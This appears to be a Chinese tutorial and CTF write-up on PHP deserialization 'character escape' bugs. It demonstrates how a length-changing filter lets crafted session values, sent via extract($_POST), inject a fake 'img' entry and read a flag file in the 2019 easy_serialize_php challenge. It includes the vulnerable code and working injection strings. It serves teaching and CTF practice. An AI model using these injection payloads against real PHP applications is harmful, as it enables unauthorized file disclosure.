PHP反序列化字符逃逸

问题描述

代码对序列化后的字符串进行修改,如果修改导致字符串长度发生变化,那么在反序列化的时候可能会产生漏洞。

举个例子

<?php

function filter($str)
{
    return str_replace('b', 'cc', $str);
}

class A
{
    public $name = 'user';
    public $pass = '123456';
}

$AA = new A();
echo serialize($AA)."\n";
$res = filter(serialize($AA));      # 漏洞点

$c = unserialize($res);
echo $c->pass;
?>

代码会使用filter函数对序列化后的字符串进行修改,将'b'替换为'cc'。这一替换将会对序列化的字符串长度产生影响,进而产生一些意外的错误。

现在利用这个错误,通过修改A中name的值,间接修改反序列化后pass的值。

这里所要理解的是,由于序列化字符串中的'b'会被替换为'cc',长度变长了,而序列化字符串中每一个属性长度的值不会变化,那我们就可以在name输入很多'b'来把构造的字符串“挤”出来。

# 原始序列化的字符串
O:1:"A":2:{s:4:"name";s:4:"user";s:4:"pass";s:6:"123456";}

# 修改name为'buser',name属性的长度由5->6,'r'被挤了出来
O:1:"A":2:{s:4:"name";s:5:"ccuser";s:4:"pass";s:6:"123456";}

利用这个特性,修改$name='bbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}',这里我们用27个'b'将后面的";s:4:"pass";s:6:"hacker";}给挤了出来,达到了一种修改pass值的同时提前用 ;}闭合序列化字符串的效果。

这样在经过filter函数处理后,序列化字符串变成了这样:

而pass也被修改为'hacker'

[安洵杯 2019]easy_serialize_php

充满回忆的题,充满回忆的人。

题目可以直接查看源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

通过phpinfo可以知道flag所在文件为d0g3_f1ag.php,而读取的方法则是通过file_get_contents(base64_decode($userinfo['img']))

虽然可以通过extract($_POST);修改$_SESSION数组,但是$userinfo['img']显然是无法直接修改的。

$_SESSION["user"]$_SESSION["function"]是可控的,结合这里filter会对序列化字符串的修改,所以可以间接修改$_SESSION["img"]

虽然这里不像之前的例子中可以修改一个属性的值来挤出一个属性,但可以修改两个属性,用前面的属性吞掉后面的一部分。构造的方法:

$_SESSION["user"] = 'fl1gfl1gfl1gfl1gfl1gphp';
$_SESSION['function'] = '";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"1";}';

可以控制读取文件后,后面flag自然就可以读到了。

ps.extract修改数组的方式:_SESSION[user]=xxxxxxx

参考链接

https://blog.csdn.net/qq_45521281/article/details/107135706